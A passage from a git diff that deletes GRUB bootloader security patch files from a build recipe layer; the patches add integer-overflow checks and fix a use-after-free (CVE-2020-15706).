-@@ -26,6 +26,7 @@
- #include <grub/types.h>
- #include <grub/fshelp.h>
- #include <grub/charset.h>
-+#include <grub/safemath.h>
-
- GRUB_MOD_LICENSE ("GPLv3+");
-
-@@ -307,10 +308,15 @@ grub_sfs_read_block (grub_fshelp_node_t node, grub_disk_addr_t fileblock)
- if (node->cache && node->cache_size >= node->cache_allocated)
- {
- struct cache_entry *e = node->cache;
-- e = grub_realloc (node->cache,node->cache_allocated * 2
-- * sizeof (e[0]));
-+ grub_size_t sz;
-+
-+ if (grub_mul (node->cache_allocated, 2 * sizeof (e[0]), &sz))
-+ goto fail;
-+
-+ e = grub_realloc (node->cache, sz);
- if (!e)
- {
-+ fail:
- grub_errno = 0;
- grub_free (node->cache);
- node->cache = 0;
-@@ -477,10 +483,16 @@ grub_sfs_create_node (struct grub_fshelp_node **node,
- grub_size_t len = grub_strlen (name);
- grub_uint8_t *name_u8;
- int ret;
-+ grub_size_t sz;
-+
-+ if (grub_mul (len, GRUB_MAX_UTF8_PER_LATIN1, &sz) ||
-+ grub_add (sz, 1, &sz))
-+ return 1;
-+
- *node = grub_malloc (sizeof (**node));
- if (!*node)
- return 1;
-- name_u8 = grub_malloc (len * GRUB_MAX_UTF8_PER_LATIN1 + 1);
-+ name_u8 = grub_malloc (sz);
- if (!name_u8)
- {
- grub_free (*node);
-@@ -724,8 +736,13 @@ grub_sfs_label (grub_device_t device, char **label)
- data = grub_sfs_mount (disk);
- if (data)
- {
-- grub_size_t len = grub_strlen (data->label);
-- *label = grub_malloc (len * GRUB_MAX_UTF8_PER_LATIN1 + 1);
-+ grub_size_t sz, len = grub_strlen (data->label);
-+
-+ if (grub_mul (len, GRUB_MAX_UTF8_PER_LATIN1, &sz) ||
-+ grub_add (sz, 1, &sz))
-+ return GRUB_ERR_OUT_OF_RANGE;
-+
-+ *label = grub_malloc (sz);
- if (*label)
- *grub_latin1_to_utf8 ((grub_uint8_t *) *label,
- (const grub_uint8_t *) data->label,
-diff --git a/grub-core/fs/squash4.c b/grub-core/fs/squash4.c
-index 95d5c1e..7851238 100644
---- a/grub-core/fs/squash4.c
-+++ b/grub-core/fs/squash4.c
-@@ -26,6 +26,7 @@
- #include <grub/types.h>
- #include <grub/fshelp.h>
- #include <grub/deflate.h>
-+#include <grub/safemath.h>
- #include <minilzo.h>
-
- #include "xz.h"
-@@ -459,7 +460,17 @@ grub_squash_read_symlink (grub_fshelp_node_t node)
- {
- char *ret;
- grub_err_t err;
-- ret = grub_malloc (grub_le_to_cpu32 (node->ino.symlink.namelen) + 1);
-+ grub_size_t sz;
-+
-+ if (grub_add (grub_le_to_cpu32 (node->ino.symlink.namelen), 1, &sz))
-+ {
-+ grub_error (GRUB_ERR_OUT_OF_RANGE, N_("overflow is detected"));
-+ return NULL;
-+ }
-+
-+ ret = grub_malloc (sz);
-+ if (!ret)
-+ return NULL;
-
- err = read_chunk (node->data, ret,
- grub_le_to_cpu32 (node->ino.symlink.namelen),
-@@ -506,11 +517,16 @@ grub_squash_iterate_dir (grub_fshelp_node_t dir,
-
- {
- grub_fshelp_node_t node;
-- node = grub_malloc (sizeof (*node) + dir->stsize * sizeof (dir->stack[0]));
-+ grub_size_t sz;
-+
-+ if (grub_mul (dir->stsize, sizeof (dir->stack[0]), &sz) ||
-+ grub_add (sz, sizeof (*node), &sz))
-+ return 0;
-+
-+ node = grub_malloc (sz);
- if (!node)
- return 0;
-- grub_memcpy (node, dir,
-- sizeof (*node) + dir->stsize * sizeof (dir->stack[0]));
-+ grub_memcpy (node, dir, sz);
- if (hook (".", GRUB_FSHELP_DIR, node, hook_data))
- return 1;
-
-@@ -518,12 +534,15 @@ grub_squash_iterate_dir (grub_fshelp_node_t dir,
- {
- grub_err_t err;
-
-- node = grub_malloc (sizeof (*node) + dir->stsize * sizeof (dir->stack[0]));
-+ if (grub_mul (dir->stsize, sizeof (dir->stack[0]), &sz) ||
-+ grub_add (sz, sizeof (*node), &sz))
-+ return 0;
-+
-+ node = grub_malloc (sz);
- if (!node)
- return 0;
-
-- grub_memcpy (node, dir,
-- sizeof (*node) + dir->stsize * sizeof (dir->stack[0]));
-+ grub_memcpy (node, dir, sz);
-
- node->stsize--;
- err = read_chunk (dir->data, &node->ino, sizeof (node->ino),
-@@ -557,6 +576,7 @@ grub_squash_iterate_dir (grub_fshelp_node_t dir,
- enum grub_fshelp_filetype filetype = GRUB_FSHELP_REG;
- struct grub_squash_dirent di;
- struct grub_squash_inode ino;
-+ grub_size_t sz;
-
- err = read_chunk (dir->data, &di, sizeof (di),
- grub_le_to_cpu64 (dir->data->sb.diroffset)
-@@ -589,13 +609,16 @@ grub_squash_iterate_dir (grub_fshelp_node_t dir,
- if (grub_le_to_cpu16 (di.type) == SQUASH_TYPE_SYMLINK)
- filetype = GRUB_FSHELP_SYMLINK;
-
-- node = grub_malloc (sizeof (*node)
-- + (dir->stsize + 1) * sizeof (dir->stack[0]));
-+ if (grub_add (dir->stsize, 1, &sz) ||
-+ grub_mul (sz, sizeof (dir->stack[0]), &sz) ||
-+ grub_add (sz, sizeof (*node), &sz))
-+ return 0;
-+
-+ node = grub_malloc (sz);
- if (! node)
- return 0;
-
-- grub_memcpy (node, dir,
-- sizeof (*node) + dir->stsize * sizeof (dir->stack[0]));
-+ grub_memcpy (node, dir, sz - sizeof(dir->stack[0]));
-
- node->ino = ino;
- node->stack[node->stsize].ino_chunk = grub_le_to_cpu32 (dh.ino_chunk);
-diff --git a/grub-core/fs/udf.c b/grub-core/fs/udf.c
-index a837616..21ac7f4 100644
---- a/grub-core/fs/udf.c
-+++ b/grub-core/fs/udf.c
-@@ -28,6 +28,7 @@
- #include <grub/charset.h>
- #include <grub/datetime.h>
- #include <grub/udf.h>
-+#include <grub/safemath.h>
-
- GRUB_MOD_LICENSE ("GPLv3+");
-
-@@ -890,9 +891,19 @@ read_string (const grub_uint8_t *raw, grub_size_t sz, char *outbuf)
- utf16[i] = (raw[2 * i + 1] << 8) | raw[2*i + 2];
- }
- if (!outbuf)
-- outbuf = grub_malloc (utf16len * GRUB_MAX_UTF8_PER_UTF16 + 1);
-+ {
-+ grub_size_t size;
-+
-+ if (grub_mul (utf16len, GRUB_MAX_UTF8_PER_UTF16, &size) ||
-+ grub_add (size, 1, &size))
-+ goto fail;
-+
-+ outbuf = grub_malloc (size);
-+ }
- if (outbuf)
- *grub_utf16_to_utf8 ((grub_uint8_t *) outbuf, utf16, utf16len) = '\0';
-+
-+ fail:
- grub_free (utf16);
- return outbuf;
- }
-@@ -1005,7 +1016,7 @@ grub_udf_read_symlink (grub_fshelp_node_t node)
- grub_size_t sz = U64 (node->block.fe.file_size);
- grub_uint8_t *raw;
- const grub_uint8_t *ptr;
-- char *out, *optr;
-+ char *out = NULL, *optr;
-
- if (sz < 4)
- return NULL;
-@@ -1013,14 +1024,16 @@ grub_udf_read_symlink (grub_fshelp_node_t node)
- if (!raw)
- return NULL;
- if (grub_udf_read_file (node, NULL, NULL, 0, sz, (char *) raw) < 0)
-- {
-- grub_free (raw);
-- return NULL;
-- }
-+ goto fail_1;
-
-- out = grub_malloc (sz * 2 + 1);
-+ if (grub_mul (sz, 2, &sz) ||
-+ grub_add (sz, 1, &sz))
-+ goto fail_0;
-+
-+ out = grub_malloc (sz);
- if (!out)
- {
-+ fail_0:
- grub_free (raw);
- return NULL;
- }
-@@ -1031,17 +1044,17 @@ grub_udf_read_symlink (grub_fshelp_node_t node)
- {
- grub_size_t s;
- if ((grub_size_t) (ptr - raw + 4) > sz)
-- goto fail;
-+ goto fail_1;
- if (!(ptr[2] == 0 && ptr[3] == 0))
-- goto fail;
-+ goto fail_1;
- s = 4 + ptr[1];
- if ((grub_size_t) (ptr - raw + s) > sz)
-- goto fail;
-+ goto fail_1;
- switch (*ptr)
- {
- case 1:
- if (ptr[1])
-- goto fail;
-+ goto fail_1;
- /* Fallthrough. */
- case 2:
- /* in 4 bytes. out: 1 byte. */
-@@ -1066,11 +1079,11 @@ grub_udf_read_symlink (grub_fshelp_node_t node)
- if (optr != out)
- *optr++ = '/';
- if (!read_string (ptr + 4, s - 4, optr))
-- goto fail;
-+ goto fail_1;
- optr += grub_strlen (optr);
- break;
- default:
-- goto fail;
-+ goto fail_1;
- }
- ptr += s;
- }
-@@ -1078,7 +1091,7 @@ grub_udf_read_symlink (grub_fshelp_node_t node)
- grub_free (raw);
- return out;
-
-- fail:
-+ fail_1:
- grub_free (raw);
- grub_free (out);
- grub_error (GRUB_ERR_BAD_FS, "invalid symlink");
-diff --git a/grub-core/fs/xfs.c b/grub-core/fs/xfs.c
-index 96ffecb..ea65902 100644
---- a/grub-core/fs/xfs.c
-+++ b/grub-core/fs/xfs.c
-@@ -25,6 +25,7 @@
- #include <grub/dl.h>
- #include <grub/types.h>
- #include <grub/fshelp.h>
-+#include <grub/safemath.h>
-
- GRUB_MOD_LICENSE ("GPLv3+");
-
-@@ -899,6 +900,7 @@ static struct grub_xfs_data *
- grub_xfs_mount (grub_disk_t disk)
- {
- struct grub_xfs_data *data = 0;
-+ grub_size_t sz;
-
- data = grub_zalloc (sizeof (struct grub_xfs_data));
- if (!data)
-@@ -913,10 +915,11 @@ grub_xfs_mount (grub_disk_t disk)
- if (!grub_xfs_sb_valid(data))
- goto fail;
-
-- data = grub_realloc (data,
-- sizeof (struct grub_xfs_data)
-- - sizeof (struct grub_xfs_inode)
-- + grub_xfs_inode_size(data) + 1);
-+ if (grub_add (grub_xfs_inode_size (data),
-+ sizeof (struct grub_xfs_data) - sizeof (struct grub_xfs_inode) + 1, &sz))
-+ goto fail;
-+
-+ data = grub_realloc (data, sz);
-
- if (! data)
- goto fail;
-diff --git a/grub-core/fs/zfs/zfs.c b/grub-core/fs/zfs/zfs.c
-index 381dde5..36d0373 100644
---- a/grub-core/fs/zfs/zfs.c
-+++ b/grub-core/fs/zfs/zfs.c
-@@ -55,6 +55,7 @@
- #include <grub/deflate.h>
- #include <grub/crypto.h>
- #include <grub/i18n.h>
-+#include <grub/safemath.h>
-
- GRUB_MOD_LICENSE ("GPLv3+");
-
-@@ -773,11 +774,14 @@ fill_vdev_info (struct grub_zfs_data *data,
- if (data->n_devices_attached > data->n_devices_allocated)
- {
- void *tmp;
-- data->n_devices_allocated = 2 * data->n_devices_attached + 1;
-- data->devices_attached
-- = grub_realloc (tmp = data->devices_attached,
-- data->n_devices_allocated
-- * sizeof (data->devices_attached[0]));
-+ grub_size_t sz;
-+
-+ if (grub_mul (data->n_devices_attached, 2, &data->n_devices_allocated) ||
-+ grub_add (data->n_devices_allocated, 1, &data->n_devices_allocated) ||
-+ grub_mul (data->n_devices_allocated, sizeof (data->devices_attached[0]), &sz))
-+ return GRUB_ERR_OUT_OF_RANGE;
-+
-+ data->devices_attached = grub_realloc (tmp = data->devices_attached, sz);
- if (!data->devices_attached)
- {
- data->devices_attached = tmp;
-@@ -3468,14 +3472,18 @@ grub_zfs_nvlist_lookup_nvlist (const char *nvlist, const char *name)
- {
- char *nvpair;
- char *ret;
-- grub_size_t size;
-+ grub_size_t size, sz;
- int found;
-
- found = nvlist_find_value (nvlist, name, DATA_TYPE_NVLIST, &nvpair,
- &size, 0);
- if (!found)
- return 0;
-- ret = grub_zalloc (size + 3 * sizeof (grub_uint32_t));
-+
-+ if (grub_add (size, 3 * sizeof (grub_uint32_t), &sz))
-+ return 0;
-+
-+ ret = grub_zalloc (sz);
- if (!ret)
- return 0;
- grub_memcpy (ret, nvlist, sizeof (grub_uint32_t));
-diff --git a/grub-core/fs/zfs/zfscrypt.c b/grub-core/fs/zfs/zfscrypt.c
-index 1402e0b..de3b015 100644
---- a/grub-core/fs/zfs/zfscrypt.c
-+++ b/grub-core/fs/zfs/zfscrypt.c
-@@ -22,6 +22,7 @@
- #include <grub/misc.h>
- #include <grub/disk.h>
- #include <grub/partition.h>
-+#include <grub/safemath.h>
- #include <grub/dl.h>
- #include <grub/types.h>
- #include <grub/zfs/zfs.h>
-@@ -82,9 +83,13 @@ grub_zfs_add_key (grub_uint8_t *key_in,
- int passphrase)
- {
- struct grub_zfs_wrap_key *key;
-+ grub_size_t sz;
-+
- if (!passphrase && keylen > 32)
- keylen = 32;
-- key = grub_malloc (sizeof (*key) + keylen);
-+ if (grub_add (sizeof (*key), keylen, &sz))
-+ return GRUB_ERR_OUT_OF_RANGE;
-+ key = grub_malloc (sz);
- if (!key)
- return grub_errno;
- key->is_passphrase = passphrase;
-diff --git a/grub-core/lib/arg.c b/grub-core/lib/arg.c
-index fd7744a..3288609 100644
---- a/grub-core/lib/arg.c
-+++ b/grub-core/lib/arg.c
-@@ -23,6 +23,7 @@
- #include <grub/term.h>
- #include <grub/extcmd.h>
- #include <grub/i18n.h>
-+#include <grub/safemath.h>
-
- /* Built-in parser for default options. */
- static const struct grub_arg_option help_options[] =
-@@ -216,7 +217,13 @@ static inline grub_err_t
- add_arg (char ***argl, int *num, char *s)
- {
- char **p = *argl;
-- *argl = grub_realloc (*argl, (++(*num) + 1) * sizeof (char *));
-+ grub_size_t sz;
-+
-+ if (grub_add (++(*num), 1, &sz) ||
-+ grub_mul (sz, sizeof (char *), &sz))
-+ return grub_error (GRUB_ERR_OUT_OF_RANGE, N_("overflow is detected"));
-+
-+ *argl = grub_realloc (*argl, sz);
- if (! *argl)
- {
- grub_free (p);
-@@ -431,6 +438,7 @@ grub_arg_list_alloc(grub_extcmd_t extcmd, int argc,
- grub_size_t argcnt;
- struct grub_arg_list *list;
- const struct grub_arg_option *options;
-+ grub_size_t sz0, sz1;
-
- options = extcmd->options;
- if (! options)
-@@ -443,7 +451,15 @@ grub_arg_list_alloc(grub_extcmd_t extcmd, int argc,
- argcnt += ((grub_size_t) argc + 1) / 2 + 1; /* max possible for any option */
- }
-
-- list = grub_zalloc (sizeof (*list) * i + sizeof (char*) * argcnt);
-+ if (grub_mul (sizeof (*list), i, &sz0) ||
-+ grub_mul (sizeof (char *), argcnt, &sz1) ||
-+ grub_add (sz0, sz1, &sz0))
-+ {
-+ grub_error (GRUB_ERR_OUT_OF_RANGE, N_("overflow is detected"));
-+ return 0;
-+ }
-+
-+ list = grub_zalloc (sz0);
- if (! list)
- return 0;
-
-diff --git a/grub-core/loader/i386/bsd.c b/grub-core/loader/i386/bsd.c
-index 3730ed3..b92cbe9 100644
---- a/grub-core/loader/i386/bsd.c
-+++ b/grub-core/loader/i386/bsd.c
-@@ -35,6 +35,7 @@
- #include <grub/ns8250.h>
- #include <grub/bsdlabel.h>
- #include <grub/crypto.h>
-+#include <grub/safemath.h>
- #include <grub/verify.h>
- #ifdef GRUB_MACHINE_PCBIOS
- #include <grub/machine/int.h>
-@@ -1012,11 +1013,16 @@ grub_netbsd_add_modules (void)
- struct grub_netbsd_btinfo_modules *mods;
- unsigned i;
- grub_err_t err;
-+ grub_size_t sz;
-
- for (mod = netbsd_mods; mod; mod = mod->next)
- modcnt++;
-
-- mods = grub_malloc (sizeof (*mods) + sizeof (mods->mods[0]) * modcnt);
-+ if (grub_mul (modcnt, sizeof (mods->mods[0]), &sz) ||
-+ grub_add (sz, sizeof (*mods), &sz))
-+ return GRUB_ERR_OUT_OF_RANGE;
-+
-+ mods = grub_malloc (sz);
- if (!mods)
- return grub_errno;
-
-diff --git a/grub-core/net/dns.c b/grub-core/net/dns.c
-index e332d5e..906ec7d 100644
---- a/grub-core/net/dns.c
-+++ b/grub-core/net/dns.c
-@@ -22,6 +22,7 @@
- #include <grub/i18n.h>
- #include <grub/err.h>
- #include <grub/time.h>
-+#include <grub/safemath.h>
-
- struct dns_cache_element
- {
-@@ -51,9 +52,15 @@ grub_net_add_dns_server (const struct grub_net_network_level_address *s)
- {
- int na = dns_servers_alloc * 2;
- struct grub_net_network_level_address *ns;
-+ grub_size_t sz;
-+
- if (na < 8)
- na = 8;
-- ns = grub_realloc (dns_servers, na * sizeof (ns[0]));
-+
-+ if (grub_mul (na, sizeof (ns[0]), &sz))
-+ return GRUB_ERR_OUT_OF_RANGE;
-+
-+ ns = grub_realloc (dns_servers, sz);
- if (!ns)
- return grub_errno;
- dns_servers_alloc = na;
-diff --git a/grub-core/normal/charset.c b/grub-core/normal/charset.c
-index d57fb72..4dfcc31 100644
---- a/grub-core/normal/charset.c
-+++ b/grub-core/normal/charset.c
-@@ -48,6 +48,7 @@
- #include <grub/unicode.h>
- #include <grub/term.h>
- #include <grub/normal.h>
-+#include <grub/safemath.h>
-
- #if HAVE_FONT_SOURCE
- #include "widthspec.h"
-@@ -464,6 +465,7 @@ grub_unicode_aglomerate_comb (const grub_uint32_t *in, grub_size_t inlen,
- {
- struct grub_unicode_combining *n;
- unsigned j;
-+ grub_size_t sz;
-
- if (!haveout)
- continue;
-@@ -477,10 +479,14 @@ grub_unicode_aglomerate_comb (const grub_uint32_t *in, grub_size_t inlen,
- n = out->combining_inline;
- else if (out->ncomb > (int) ARRAY_SIZE (out->combining_inline))
- {
-- n = grub_realloc (out->combining_ptr,
-- sizeof (n[0]) * (out->ncomb + 1));
-+ if (grub_add (out->ncomb, 1, &sz) ||
-+ grub_mul (sz, sizeof (n[0]), &sz))
-+ goto fail;
-+
-+ n = grub_realloc (out->combining_ptr, sz);
- if (!n)
- {
-+ fail:
- grub_errno = GRUB_ERR_NONE;
- continue;
- }
-diff --git a/grub-core/normal/cmdline.c b/grub-core/normal/cmdline.c
-index c57242e..de03fe6 100644
---- a/grub-core/normal/cmdline.c
-+++ b/grub-core/normal/cmdline.c
-@@ -28,6 +28,7 @@
- #include <grub/env.h>
- #include <grub/i18n.h>
- #include <grub/charset.h>
-+#include <grub/safemath.h>
-
- static grub_uint32_t *kill_buf;
-
-@@ -307,12 +308,21 @@ cl_insert (struct cmdline_term *cl_terms, unsigned nterms,
- if (len + (*llen) >= (*max_len))
- {
- grub_uint32_t *nbuf;
-- (*max_len) *= 2;
-- nbuf = grub_realloc ((*buf), sizeof (grub_uint32_t) * (*max_len));
-+ grub_size_t sz;
-+
-+ if (grub_mul (*max_len, 2, max_len) ||
-+ grub_mul (*max_len, sizeof (grub_uint32_t), &sz))
-+ {
-+ grub_errno = GRUB_ERR_OUT_OF_RANGE;
-+ goto fail;
-+ }
-+
-+ nbuf = grub_realloc ((*buf), sz);
- if (nbuf)
- (*buf) = nbuf;
- else
- {
-+ fail:
- grub_print_error ();
- grub_errno = GRUB_ERR_NONE;
- (*max_len) /= 2;
-diff --git a/grub-core/normal/menu_entry.c b/grub-core/normal/menu_entry.c
-index 1993995..50eef91 100644
---- a/grub-core/normal/menu_entry.c
-+++ b/grub-core/normal/menu_entry.c
-@@ -27,6 +27,7 @@
- #include <grub/auth.h>
- #include <grub/i18n.h>
- #include <grub/charset.h>
-+#include <grub/safemath.h>
-
- enum update_mode
- {
-@@ -113,10 +114,18 @@ ensure_space (struct line *linep, int extra)
- {
- if (linep->max_len < linep->len + extra)
- {
-- linep->max_len = 2 * (linep->len + extra);
-- linep->buf = grub_realloc (linep->buf, (linep->max_len + 1) * sizeof (linep->buf[0]));
-+ grub_size_t sz0, sz1;
-+
-+ if (grub_add (linep->len, extra, &sz0) ||
-+ grub_mul (sz0, 2, &sz0) ||
-+ grub_add (sz0, 1, &sz1) ||
-+ grub_mul (sz1, sizeof (linep->buf[0]), &sz1))
-+ return 0;
-+
-+ linep->buf = grub_realloc (linep->buf, sz1);
- if (! linep->buf)
- return 0;
-+ linep->max_len = sz0;
- }
-
- return 1;
-diff --git a/grub-core/script/argv.c b/grub-core/script/argv.c
-index 217ec5d..5751fdd 100644
---- a/grub-core/script/argv.c
-+++ b/grub-core/script/argv.c
-@@ -20,6 +20,7 @@
- #include <grub/mm.h>
- #include <grub/misc.h>
- #include <grub/script_sh.h>
-+#include <grub/safemath.h>
-
- /* Return nearest power of two that is >= v. */
- static unsigned
-@@ -81,11 +82,16 @@ int
- grub_script_argv_next (struct grub_script_argv *argv)
- {
- char **p = argv->args;
-+ grub_size_t sz;
-
- if (argv->args && argv->argc && argv->args[argv->argc - 1] == 0)
- return 0;
-
-- p = grub_realloc (p, round_up_exp ((argv->argc + 2) * sizeof (char *)));
-+ if (grub_add (argv->argc, 2, &sz) ||
-+ grub_mul (sz, sizeof (char *), &sz))
-+ return 1;
-+
-+ p = grub_realloc (p, round_up_exp (sz));
- if (! p)
- return 1;
-
-@@ -105,13 +111,19 @@ grub_script_argv_append (struct grub_script_argv *argv, const char *s,
- {
- grub_size_t a;
- char *p = argv->args[argv->argc - 1];
-+ grub_size_t sz;
-
- if (! s)
- return 0;
-
- a = p ? grub_strlen (p) : 0;
-
-- p = grub_realloc (p, round_up_exp ((a + slen + 1) * sizeof (char)));
-+ if (grub_add (a, slen, &sz) ||
-+ grub_add (sz, 1, &sz) ||
-+ grub_mul (sz, sizeof (char), &sz))
-+ return 1;
-+
-+ p = grub_realloc (p, round_up_exp (sz));
- if (! p)
- return 1;
-
-diff --git a/grub-core/script/lexer.c b/grub-core/script/lexer.c
-index c6bd317..5fb0cbd 100644
---- a/grub-core/script/lexer.c
-+++ b/grub-core/script/lexer.c
-@@ -24,6 +24,7 @@
- #include <grub/mm.h>
- #include <grub/script_sh.h>
- #include <grub/i18n.h>
-+#include <grub/safemath.h>
-
- #define yytext_ptr char *
- #include "grub_script.tab.h"
-@@ -110,10 +111,14 @@ grub_script_lexer_record (struct grub_parser_param *parser, char *str)
- old = lexer->recording;
- if (lexer->recordlen < len)
- lexer->recordlen = len;
-- lexer->recordlen *= 2;
-+
-+ if (grub_mul (lexer->recordlen, 2, &lexer->recordlen))
-+ goto fail;
-+
- lexer->recording = grub_realloc (lexer->recording, lexer->recordlen);
- if (!lexer->recording)
- {
-+ fail:
- grub_free (old);
- lexer->recordpos = 0;
- lexer->recordlen = 0;
-@@ -130,7 +135,7 @@ int
- grub_script_lexer_yywrap (struct grub_parser_param *parserstate,
- const char *input)
- {
-- grub_size_t len = 0;
-+ grub_size_t len = 0, sz;
- char *p = 0;
- char *line = 0;
- YY_BUFFER_STATE buffer;
-@@ -168,12 +173,22 @@ grub_script_lexer_yywrap (struct grub_parser_param *parserstate,
- }
- else if (len && line[len - 1] != '\n')
- {
-- p = grub_realloc (line, len + 2);
-+ if (grub_add (len, 2, &sz))
-+ {
-+ grub_free (line);
-+ grub_script_yyerror (parserstate, N_("overflow is detected"));
-+ return 1;
-+ }
-+
-+ p = grub_realloc (line, sz);
- if (p)
- {
- p[len++] = '\n';
- p[len] = '\0';
- }
-+ else
-+ grub_free (line);
-+
- line = p;
- }
-
-diff --git a/grub-core/video/bitmap.c b/grub-core/video/bitmap.c
-index b2e0315..6256e20 100644
---- a/grub-core/video/bitmap.c
-+++ b/grub-core/video/bitmap.c
-@@ -23,6 +23,7 @@
- #include <grub/mm.h>
- #include <grub/misc.h>
- #include <grub/i18n.h>
-+#include <grub/safemath.h>
-
- GRUB_MOD_LICENSE ("GPLv3+");
-
-@@ -58,7 +59,7 @@ grub_video_bitmap_create (struct grub_video_bitmap **bitmap,
- enum grub_video_blit_format blit_format)
- {
- struct grub_video_mode_info *mode_info;
-- unsigned int size;
-+ grub_size_t size;
-
- if (!bitmap)
- return grub_error (GRUB_ERR_BUG, "invalid argument");
-@@ -137,19 +138,25 @@ grub_video_bitmap_create (struct grub_video_bitmap **bitmap,
-
- mode_info->pitch = width * mode_info->bytes_per_pixel;
-
-- /* Calculate size needed for the data. */
-- size = (width * mode_info->bytes_per_pixel) * height;
-+ /* Calculate size needed for the data. */
-+ if (grub_mul (width, mode_info->bytes_per_pixel, &size) ||
-+ grub_mul (size, height, &size))
-+ {
-+ grub_error (GRUB_ERR_OUT_OF_RANGE, N_("overflow is detected"));
-+ goto fail;
-+ }
-
- (*bitmap)->data = grub_zalloc (size);
- if (! (*bitmap)->data)
-- {
-- grub_free (*bitmap);
-- *bitmap = 0;
--
-- return grub_errno;
-- }
-+ goto fail;
-
- return GRUB_ERR_NONE;
-+
-+ fail:
-+ grub_free (*bitmap);
-+ *bitmap = NULL;
-+
-+ return grub_errno;
- }
-
- /* Frees all resources allocated by bitmap. */
-diff --git a/grub-core/video/readers/png.c b/grub-core/video/readers/png.c
-index 61bd645..0157ff7 100644
---- a/grub-core/video/readers/png.c
-+++ b/grub-core/video/readers/png.c
-@@ -23,6 +23,7 @@
- #include <grub/mm.h>
- #include <grub/misc.h>
- #include <grub/bufio.h>
-+#include <grub/safemath.h>
-
- GRUB_MOD_LICENSE ("GPLv3+");
-
-@@ -301,9 +302,17 @@ grub_png_decode_image_header (struct grub_png_data *data)
- data->bpp <<= 1;
-
- data->color_bits = color_bits;
-- data->row_bytes = data->image_width * data->bpp;
-+
-+ if (grub_mul (data->image_width, data->bpp, &data->row_bytes))
-+ return grub_error (GRUB_ERR_OUT_OF_RANGE, N_("overflow is detected"));
-+
- if (data->color_bits <= 4)
-- data->row_bytes = (data->image_width * data->color_bits + 7) / 8;
-+ {
-+ if (grub_mul (data->image_width, data->color_bits + 7, &data->row_bytes))
-+ return grub_error (GRUB_ERR_OUT_OF_RANGE, N_("overflow is detected"));
-+
-+ data->row_bytes >>= 3;
-+ }
-
- #ifndef GRUB_CPU_WORDS_BIGENDIAN
- if (data->is_16bit || data->is_gray || data->is_palette)
---
-2.14.4
-
diff --git a/meta/recipes-bsp/grub/files/CVE-2020-15706-script-Avoid-a-use-after-free-when-redefining-a-func.patch b/meta/recipes-bsp/grub/files/CVE-2020-15706-script-Avoid-a-use-after-free-when-redefining-a-func.patch
deleted file mode 100644
index 329e554a68..0000000000
--- a/meta/recipes-bsp/grub/files/CVE-2020-15706-script-Avoid-a-use-after-free-when-redefining-a-func.patch
+++ /dev/null
@@ -1,117 +0,0 @@
-From c65fc7e75b7b7e880d90766057040011701e97f4 Mon Sep 17 00:00:00 2001
-From: Chris Coulson <chris.coulson@canonical.com>
-Date: Fri, 10 Jul 2020 14:41:45 +0100
-Subject: [PATCH 8/9] script: Avoid a use-after-free when redefining a function
- during execution
-
-Defining a new function with the same name as a previously defined
-function causes the grub_script and associated resources for the
-previous function to be freed. If the previous function is currently
-executing when a function with the same name is defined, this results
-in use-after-frees when processing subsequent commands in the original
-function.
-
-Instead, reject a new function definition if it has the same name as
-a previously defined function, and that function is currently being
-executed. Although a behavioural change, this should be backwards
-compatible with existing configurations because they can't be
-dependent on the current behaviour without being broken.
-
-Fixes: CVE-2020-15706
-
-Signed-off-by: Chris Coulson <chris.coulson@canonical.com>
-Reviewed-by: Daniel Kiper <daniel.kiper@oracle.com>
-
-Upstream-Status: Backport
-CVE: CVE-2020-15706
-
-Reference to upstream patch:
-https://git.savannah.gnu.org/cgit/grub.git/commit/?id=426f57383d647406ae9c628c472059c27cd6e040
-
-Signed-off-by: Yongxin Liu <yongxin.liu@windriver.com>
----
- grub-core/script/execute.c | 2 ++
- grub-core/script/function.c | 16 +++++++++++++---
- grub-core/script/parser.y | 3 ++-
- include/grub/script_sh.h | 2 ++
- 4 files changed, 19 insertions(+), 4 deletions(-)
-
-diff --git a/grub-core/script/execute.c b/grub-core/script/execute.c
-index c8d6806..7e028e1 100644
---- a/grub-core/script/execute.c
-+++ b/grub-core/script/execute.c
-@@ -838,7 +838,9 @@ grub_script_function_call (grub_script_function_t func, int argc, char **args)
- old_scope = scope;
- scope = &new_scope;
-
-+ func->executing++;
- ret = grub_script_execute (func->func);
-+ func->executing--;
-
- function_return = 0;
- active_loops = loops;
-diff --git a/grub-core/script/function.c b/grub-core/script/function.c
-index d36655e..3aad04b 100644
---- a/grub-core/script/function.c
-+++ b/grub-core/script/function.c
-@@ -34,6 +34,7 @@ grub_script_function_create (struct grub_script_arg *functionname_arg,
- func = (grub_script_function_t) grub_malloc (sizeof (*func));
- if (! func)
- return 0;
-+ func->executing = 0;
-
- func->name = grub_strdup (functionname_arg->str);
- if (! func->name)
-@@ -60,10 +61,19 @@ grub_script_function_create (struct grub_script_arg *functionname_arg,
- grub_script_function_t q;
-
- q = *p;
-- grub_script_free (q->func);
-- q->func = cmd;
- grub_free (func);
-- func = q;
-+ if (q->executing > 0)
-+ {
-+ grub_error (GRUB_ERR_BAD_ARGUMENT,
-+ N_("attempt to redefine a function being executed"));
-+ func = NULL;
-+ }
-+ else
-+ {
-+ grub_script_free (q->func);
-+ q->func = cmd;
-+ func = q;
-+ }
- }
- else
- {
-diff --git a/grub-core/script/parser.y b/grub-core/script/parser.y
-index 4f0ab83..f80b86b 100644
---- a/grub-core/script/parser.y
-+++ b/grub-core/script/parser.y
-@@ -289,7 +289,8 @@ function: "function" "name"
- grub_script_mem_free (state->func_mem);
- else {
- script->children = state->scripts;
-- grub_script_function_create ($2, script);
-+ if (!grub_script_function_create ($2, script))
-+ grub_script_free (script);
- }
-
- state->scripts = $<scripts>3;
-diff --git a/include/grub/script_sh.h b/include/grub/script_sh.h
-index b382bcf..6c48e07 100644
---- a/include/grub/script_sh.h
-+++ b/include/grub/script_sh.h
-@@ -361,6 +361,8 @@ struct grub_script_function
-
- /* The next element. */
- struct grub_script_function *next;
-+
-+ unsigned executing;
- };
- typedef struct grub_script_function *grub_script_function_t;
-
---
-2.14.4
-
diff --git a/meta/recipes-bsp/grub/files/CVE-2020-15707-linux-Fix-integer-overflows-in-initrd-size-handling.patch b/meta/recipes-bsp/grub/files/CVE-2020-15707-linux-Fix-integer-overflows-in-initrd-size-handling.patch
deleted file mode 100644
index d4f9300c0a..0000000000
--- a/meta/recipes-bsp/grub/files/CVE-2020-15707-linux-Fix-integer-overflows-in-initrd-size-handling.patch
+++ /dev/null
@@ -1,177 +0,0 @@
-From 68a09a74f6d726d79709847f3671c0a08e4fb5a0 Mon Sep 17 00:00:00 2001
-From: Colin Watson <cjwatson@debian.org>
-Date: Sat, 25 Jul 2020 12:15:37 +0100
